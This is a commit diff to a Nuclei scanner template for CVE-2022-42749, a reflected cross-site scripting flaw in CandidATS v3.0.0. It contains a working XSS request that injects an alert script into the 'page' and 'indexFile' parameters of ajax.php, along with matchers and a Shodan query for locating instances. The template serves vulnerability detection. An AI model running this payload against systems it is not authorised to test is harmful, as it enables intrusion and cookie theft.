Update CVE-2022-42749.yaml

cves/2022/CVE-2022-42749.yaml

@@ -3,26 +3,37 @@ id: CVE-2022-42749
 info:
   name: CandidATS v3.0.0 - Cross Site Scripting.
   author: arafatansari
-  severity: Medium
-  description: CandidATS v3.0.0 on 'page' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+  severity: medium
+  description: |
+    CandidATS v3.0.0 on 'page' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
   reference:
     - https://fluidattacks.com/advisories/modestep/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-42749
+  classification:
+    cve-id: CVE-2022-42749
   metadata:
-    shodan-query: http.html:"CandidATS"
     verified: true
-  tags: xss,cve,2022
+    shodan-query: http.html:"CandidATS"
+  tags: cve,cve2022,candidats,xss,
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
+      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - '<script>alert(document.cookie)</script>'
+          - '<script>alert(document.domain)</script>'
+          - 'candidat'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
 
         condition: and
       - type: status